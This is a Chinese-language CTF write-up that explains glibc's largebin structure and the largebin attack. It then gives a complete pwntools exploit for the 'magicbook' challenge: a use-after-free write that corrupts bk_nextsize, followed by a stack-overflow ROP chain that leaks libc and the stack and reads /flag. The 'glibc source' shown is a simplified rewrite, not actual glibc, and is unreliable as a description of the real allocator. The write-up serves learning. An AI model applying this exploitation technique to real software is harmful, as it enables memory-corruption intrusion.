常回家看看之largebin_attack

先简单介绍一下什么是largebin

largebin
是 glibc 的
malloc
实现中用于管理大块内存的一种数据结构。在 glibc 的内存分配中，
largebin
是
bin
系列的一部分，用于存储大小超过某个阈值的空闲内存块。
largebin
的设计目标是提高内存管理的效率，并减少内存碎片。

简单点就是用来管理较大的堆块的

  • 起始大小：
    largebin
    管理的内存块大小从
    smallbin
    范围的最大值 + 1 开始。具体来说，
    smallbin
    的最大块大小是 512 字节，因此
    largebin
    的起始大小是 513 字节。
  • 无上限：
    largebin
    的内存块没有固定的上限。任何大于 512 字节的空闲内存块都会被插入到适当的
    largebin
    中。
  • 当有较大堆块被释放的时候，先进入unsortbin，再次进行分配的时候，如果有合适的，则将堆块分割，剩下的部分仍然进入unsortbin，如果没有合适的则进入largebin

largebin和其他bin的区别

在
largebin
中，每个大块内存块除了标准的双向链表指针
fd
（forward）和
bk
（backward）外，还包含额外的指针
fd_nextsize
和
bk_nextsize
。这些指针的作用如下：

  • fd
    和
    bk
    ：指向当前链表中前后相邻的内存块，用于维护基本的双向链表。
  • fd_nextsize
    和
    bk_nextsize
    ：指向按大小排序的前后相邻内存块，用于维护按大小排序的链

作用：

  • fd_nextsize
    ：指向当前内存块大小相同或更大的下一个内存块。
  • bk_nextsize
    ：指向当前内存块大小相同或更小的前一个内存块。

这种结构允许
largebin
维护两条链表：一条是按插入顺序排列的链表（使用
fd
和
bk
指针），另一条是按大小排序的链表（使用
fd_nextsize
和
bk_nextsize
指针）。

Large Bin
的插入顺序：

  • 按大小排序：首先根据大小从大到小对堆块进行排序。较小的块链接在较大的块之后。
  • 按释放时间排序：对于大小相同的块，按它们被释放的时间顺序进行排序。先释放的块排在前面。
  • fd_nextsize
    和
    bk_nextsize
    指针：
  • 对于多个大小相同的堆块，只有第一个块（即首堆块）的
    fd_nextsize
    和
    bk_nextsize
    指针指向其他块。
  • 后续相同大小的堆块的
    fd_nextsize
    和
    bk_nextsize
    指针均为 0。

循环链表：

  • 大小最大的块的
    bk_nextsize
    指向大小最小的块。
  • 大小最小的块的
    fd_nextsize
    指向大小最大的块。

原理：

  • Largebin 是 glibc 内存分配器中用于存储较大内存块的链表。每个块不仅包含指向前后块的指针 (
    fd
    和
    bk
    )，还包含指向相同大小块的指针 (
    fd_nextsize
    和
    bk_nextsize
    )。
  • 当一个内存块被释放后，它会被放入适当的 bin 中。如果是大块，则放入 Largebin。
  • 当分配新的内存块时，glibc 会尝试从适当的 bin 中找到合适的块进行分配。在 Largebin 中，按大小排序的链表有助于快速找到合适的块。
  • 攻击者可以通过伪造指针，特别是
    bk_nextsize
    ，来控制内存分配器的行为，从而实现任意地址写入。

glibc 源码分析

1.当一个块被释放并符合 Largebin 条件时，会被放入 Largebin 中。以下是 glibc 中
malloc
和
free
操作的相关部分：

void _int_free(mstate av, mchunkptr p) {
    // ... other code ...

    // Determine the bin to use
    if (chunk_in_largebin_range(size)) {
        // Add to Largebin
        mchunkptr bck = largebin[bin_index];
        mchunkptr fwd = bck->fd;
        
        p->bk = bck;
        p->fd = fwd;
        bck->fd = p;
        fwd->bk = p;
        
        // Update nextsize pointers
        mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
        while (next_chunk != NULL && chunksize(next_chunk) < size) {
            next_chunk = next_chunk->fd_nextsize;
        }
        p->fd_nextsize = next_chunk;
        p->bk_nextsize = next_chunk->bk_nextsize;
        next_chunk->bk_nextsize = p;
        next_chunk->fd_nextsize = p;
    }

    // ... other code ...
}

2. 修改
bk_nextsize

我们需要找到一种方式修改 Largebin 中块的
bk_nextsize
字段。

chunk1->bk_nextsize = Target - 0x20;

3. 分配新块触发攻击

当分配一个新的块时，glibc 会尝试找到合适的块进行分配。在这个过程中，伪造的
bk_nextsize
会被用来更新指针，导致任意地址写入。

void* _int_malloc(mstate av, size_t bytes) {
    // ... other code ...

    if (bytes > MAX_SMALLBIN_SIZE) {
        // Check Largebin
        mchunkptr victim = largebin[bin_index];
        
        if (victim != NULL) {
            // Remove from Largebin
            mchunkptr bck = victim->bk;
            mchunkptr fwd = victim->fd;
            
            bck->fd = fwd;
            fwd->bk = bck;
            
            // Update nextsize pointers
            mchunkptr next_chunk = victim->fd_nextsize;
            next_chunk->bk_nextsize = victim->bk_nextsize;
            victim->bk_nextsize->fd_nextsize = next_chunk;
            
            // Allocate the chunk
            set_inuse_bit_at_offset(victim, bytes);
            return chunk2mem(victim);
        }
    }

    // ... other code ...
}

通过上周的比赛题目可以很好的介绍largebin_attack
题目地址：
https://buuoj.cn/match/matches/207/challenges#magicbook

题目保护情况：没有开canary保护

64位ida逆向

存在3个功能，一个一个看

add，申请堆块大小和数量都有限制

free，不仅存在UAF，而且还有任意堆块数据部分+8处0x18字节写的功能

edit，如果book处的地址很大存在栈溢出

沙箱保护

思路：通过largebin_attack，将book处的地址变成一个较大的数据（头指针），然后通过栈溢出，orw读取数据

1.申请0x450，0x440，0x440（防止合并）大小的三个堆块

2.释放第一个堆块（此时进入unsortbin）

3.申请一个比第一个堆块大的堆块（此时进入largebin）

4.释放第二个堆块的同时，修改第一个堆块的bk_nextsize为book-0x20的位置

5.申请一个大堆块完成largebin_attack

6.栈溢出orw读取flag

exp：

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')

success('puts--->'+hex(libc.sym['system']))

io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060


def add(size):
    io.sendlineafter('Your choice:','1')
    io.sendlineafter('your book need?',str(size))


def free0(index,ch,msg):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','y')
    io.sendlineafter('you want to write?',str(ch))
    io.sendafter('content: ',msg)

def free1(index):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','n')

def edit():
    io.sendlineafter('Your choice:','3')



book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863  + elf_base # : pop rdi; ret; 
pop_rsi = 0x0000000000001861  + elf_base  #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1

#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)

edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')

pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret; 
syscall = 0x0000000000091316 + libc_bass#: syscall; ret; 
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']

payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack  = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt) 
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)

io.interactive()

总结：

Largebin Attack 利用条件和步骤

利用条件：

  1. 修改权限：能够修改 Largebin 中块的
    bk_nextsize
    字段。

  2. 堆块分配：程序能够分配至少三种不同大小的块，并确保这些块紧密相邻。

利用步骤：

  1. 分配堆块：


    • 分配一块大小为
      size1
      且在 Largebin 范围内的块
      chunk1
      。

    • 分配一块任意大小的块
      pad1
      ，以防止在释放
      chunk1
      时系统将其与 top chunk 合并。

    • 分配一块大小为
      size2
      且在 Largebin 范围内的块
      chunk2
      ，要求
      size2 < size1
      且
      chunk2
      紧邻
      chunk1
      。

    • 分配一块任意大小的块
      pad2
      ，以防止在释放
      chunk2
      时系统将其与 top chunk 合并。

  2. 释放并重新分配：


    • 释放
      chunk1
      ，此时系统会将其放入 unsortedbin。再分配一个大小为
      size3
      的块，要求
      size3 > size1
      ，此时系统会将
      chunk1
      放进 Largebin 中。

    • 确保
      chunk2
      紧邻
      chunk1
      。

    • 释放
      chunk2
      进入 unsortedbin。

  3. 修改指针：


    • 修改
      chunk1->bk_nextsize
      为
      Target - 0x20
      。

  4. 触发攻击：


    • 随意分配一个可以进入unsortbin的堆块，就会触发 Largebin attack。

标签: none

添加新评论